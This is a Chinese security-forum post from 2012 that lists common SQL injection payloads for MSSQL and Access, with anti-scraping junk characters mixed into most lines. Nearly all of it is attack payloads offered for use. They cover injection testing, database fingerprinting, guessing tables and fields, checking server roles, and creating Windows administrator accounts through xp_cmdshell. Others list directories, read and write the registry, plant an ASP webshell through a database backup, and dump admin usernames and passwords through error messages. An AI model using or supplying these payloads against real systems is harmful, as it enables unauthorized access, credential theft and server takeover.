找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1933|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 $ a4 @. [! D' t* y9 n
;and 1=1 - V5 J) d5 n* w1 q
;and 1=2
) D4 Y! u+ B3 S5 N/ @: l# A5 N
) A* P7 k0 z# F$ |! e2.初步判断是否是mssql 3 \7 e1 b+ b4 W9 ?; _9 c
;and user>0
2 ]6 Q: P% e7 L8 J
5 ~+ X5 b5 S" y0 Z- T6 f3.判断数据库系统
$ i+ l2 p; g$ P4 y/ h;and (select count(*) from sysobjects)>0 mssql 3 Q! b5 g+ {9 B
;and (select count(*) from msysobjects)>0 access ; R6 Y$ u1 K# L5 t$ W3 w1 a& s
' O, E6 \2 H& k3 x4 ~$ n
4.注入参数是字符
5 Y- e( y! E6 @. ?7 t'and [查询条件] and ''=' * h7 P9 O; O/ s1 A2 C( }

; @7 I! i( X8 J6 |  c5 x3 ]  A6 d5.搜索时没过滤参数的
  N3 v' D8 c+ P% Y7 B: b( _'and [查询条件] and '%25'=' & F- {( w& T# I. I
+ i% q1 d! ^# \0 U+ f- c7 }& k& ?
6.猜数表名 " j1 W( p7 G) h* n" w
;and (select Count(*) from [表名])>0 2 T& ~0 t; L1 j3 H0 W
: L3 r1 v6 \  x
7.猜字段
7 u0 Y3 H- i9 P/ J% d1 r;and (select Count(字段名) from 表名)>0
8 B5 ~2 S' b1 F) [9 e; z9 E8 l' d' [6 E5 ?0 ^" c$ F
8.猜字段中记录长度
* W- U! d4 o* p9 h# }! ]: E, h6 h* y;and (select top 1 len(字段名) from 表名)>0
: a) q& ?' w( Z5 V" ~3 s
& Q, H! Y+ j4 D6 x+ }9.(1)猜字段的ascii值(access)
2 j9 z. _: U6 }8 c- ]. P8 q;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
8 n/ o4 X' V2 s1 w- |' ?3 P
- R5 Q7 d( e' D5 Y8 e(2)猜字段的ascii值(mssql)
  }( Z2 X$ C8 h% D( j;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 % O& Z% i- B$ O5 ~$ W! j9 H

/ T# [: z3 y4 u10.测试权限结构(mssql)
5 S5 p# o1 G7 v. r" ?;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 W0 @: g' @0 O% E;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ) r3 m: E: L2 z5 v6 e7 N8 b
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
' t( \# ^8 E! V;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3 o% g- F! K8 Q' p
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
! ]5 ^  f5 @4 x# S9 O) J3 ];and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
2 p" z: R* S* e5 _! r;and 1=(select IS_MEMBER('db_owner'));--
7 U1 ~2 I) D6 L  ^: B( a% n4 \1 l* B
11.添加mssql和系统的帐户 : H" |2 B9 }! f, S) O) {* }! n; K
;exec master.dbo.sp_addlogin username;--
! E7 [4 Q  s: W% T;exec master.dbo.sp_password null,username,password;--
4 z6 K3 c& z5 y) {5 @7 i5 S, l;exec master.dbo.sp_addsrvrolemember sysadmin username;-- + |" m- |# a+ w
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
$ M0 ~4 W' [& _9 r2 d) B;exec master.dbo.xp_cmdshell 'net user username password /add';-- * _% e: [# ?* n6 F
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
5 y. k* Y; P" f$ n, X( h# M/ b* W' D/ }  Z: Q/ \2 o; k: M
12.(1)遍历目录
  e' m- Q" @; V$ l- b;create table dirs(paths varchar(100), id int) 6 Y7 x: |% R0 G- B# t
;insert dirs exec master.dbo.xp_dirtree 'c:\'
7 n! y6 M* o5 {+ c0 x;and (select top 1 paths from dirs)>0
) v, T7 S. ]4 ]9 L;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
5 @/ Z% p2 y- Q! U1 U1 h3 V/ U8 Z
; s* a; h3 p# }3 J& f( c(2)遍历目录
2 D5 f3 k- b6 f4 a5 O" E: d;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ) a3 l0 I0 `2 R* E8 C
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
$ z' X) n$ I2 I" s- ]9 y2 [1 L;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
9 V. g' A1 z5 J: l;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
$ j; G0 _) w8 Y9 r9 U2 c0 E' B;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
' V" f$ Q; ~) f8 `0 \& @
3 U2 f9 {/ V& t3 R5 ]- c( R13.mssql中的存储过程 ' I6 O. `) j; @7 F  `
xp_regenumvalues 注册表根键, 子键 9 g+ S. h# ]' m  E' A
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 " v, Z" k/ l; i+ P2 q! e1 N  d. `
xp_regread 根键,子键,键值名
. j7 t" J* q7 o' X3 f! y;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 0 v) F( ?! \5 J7 }& _' S' q2 G: V
xp_regwrite 根键,子键, 值名, 值类型, 值 " K5 M; t2 o! O( y7 N: y. \
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
/ |* |8 M* E6 J$ L& N;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ! B, l1 m, W5 B
xp_regdeletevalue 根键,子键,值名
' o1 Q- m: N) Sexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
5 A- a; X3 N% s) }$ S5 f4 B, ~xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ; f# @; M% P5 q
1 [" K0 b$ b# A- o5 f( R( j
14.mssql的backup创建webshell 2 l0 Q& O; [+ q8 y9 A- y# M9 I7 `/ H
use model
" T$ {3 A! z2 ^create table cmd(str image); - l2 }4 s" }! l* p( ?9 d5 H
insert into cmd(str) values ('<% Dim oScript %>');
& B) r# c5 h+ A$ _9 b) Q5 obackup database model to disk='c:\l.asp'; , K" G, G0 p/ D0 P+ J
7 P+ r( w0 C/ T
15.mssql内置函数 ; u' v5 M8 c% @# [; [( u3 L4 ?2 L
;and (select @@version)>0 获得Windows的版本号 , _/ t& y, ~2 F2 w2 J' G
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 7 Z4 p) B1 [7 T9 r  F, l
;and (select user_name())>0 爆当前系统的连接用户 % P3 M( v2 G: m/ l6 n" R2 l: m; P" u
;and (select db_name())>0 得到当前连接的数据库
' \; R, {+ u* C2 Y. R) f/ m* ]* B& ]1 |, I1 H( _
# ?& c. W. t0 c+ D

0 ~2 t: d# o& M6 D0 F* n3 b" QMSSQL手注暴库
" g  x5 i5 W& C3 x$ v' R
7 @; O  {9 G  Y+ k. S' ~1.暴出当前表名和列名
  L) J; d" i; e/ T- w9 c6 O在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
! o' }  Q& M7 a; Z
) f4 d1 H) n" }第一.爆出所有数据库名0 j( y- @- U) y" U/ D- B
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
4 C1 f( O8 `3 Z3 d9 Z7 \# s第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
* ^# d+ N% @8 N9 h  I: g/ i8 {0 n. {
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
# e7 @: k; q$ r0 O! W
3 ~" H7 b' d0 T) A6 Y
7 I& c: y) T; X  E7 A# v: N第二.爆出指定库中的所有表名
; |9 d1 T" a4 `- E) I7 Q. V% b得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
$ q9 e+ ], h1 `6 [# M再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
/ Y& \- l+ w) x6 H6 c8 J, Y: n
  H' A# ?' @7 }4 E& Oand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--1 ?# V' ]& m$ l
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
9 r3 Y7 H& w9 p$ ^4 Z, A* V6 Dand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
8 O, h# N$ _  x0 Z0 ~9 J% O9 j
; o6 O% m3 j7 j# _+ X/ P4.爆出指定表中的所有列名3 s0 M! o  ~; s2 s2 ?: ?
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) . M& `+ k" n" R0 b6 d
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'7 Y2 o$ z2 M3 K$ f9 A, o

$ t7 Z  D/ t; e5 G: q/ |and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
% G0 ]5 A; n. p/ |+ H. V" T  [2 R
6 k$ Q+ K' Q4 d2 J! [再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
$ H# M$ D: q' F; M3 Y& y依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
" e5 Z6 [( ~/ i6 B4 m; g
2 B! P* A+ {4 x, U6 {+ S* s9 H2 t/ n( ?
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
) J" S( r5 k% G8 U$ }8 J/ {9 _$ w- D4 J
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名1 g2 I5 q$ ?% s
5 L: s+ O) C* I8 E) ~+ b' b
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- - r& _. \3 I8 s) N+ ^" l- B

2 y1 e- q$ F2 {9 m: V) p; d- ~
: o5 T) M0 K+ }8 [, s; z. f5 n# J* r8 t* ]2 v! N: v
5.读取指定表中的数据
, e/ E0 {$ T% B$ a
& L' l! I, C7 J+ T! _" _( Pand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 1 U4 b% C+ V$ |9 w
0 C6 _# a6 ^+ B$ Z6 s& d' |
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
; d% z% [. I# @3 @/ b, Q
- U6 D! e$ r: I" B% Band 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码: u" U) c; \2 E9 q! g$ Y
# V' @" T8 V4 c, f- |" M
0 H! p) K/ T9 o8 v* f
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
5 F- p! @: H# ~2 U
1 u; [$ }, a  q9 p& tand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
3 T& I& C* h# y3 \8 a' l8 u, F8 }, J3 c0 _, G% k& q7 Z
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--$ ^1 f; s6 A+ \$ N& \

& E  U  Q1 ]8 a2 _$ I) D! {. P3 H# {: r知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
' z* W3 h) E; ?- a$ r( Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表